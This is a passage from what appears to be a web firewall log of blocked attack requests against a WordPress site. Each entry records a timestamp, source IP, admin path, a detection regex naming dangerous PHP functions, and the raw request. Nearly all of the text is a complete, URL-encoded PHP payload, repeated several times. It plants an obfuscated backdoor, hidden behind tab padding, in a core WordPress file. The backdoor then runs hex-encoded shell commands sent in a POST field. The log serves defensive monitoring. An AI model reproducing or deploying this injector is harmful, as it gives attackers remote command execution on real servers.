520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:9031\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nRH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:52:57","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:9031\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nVK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%252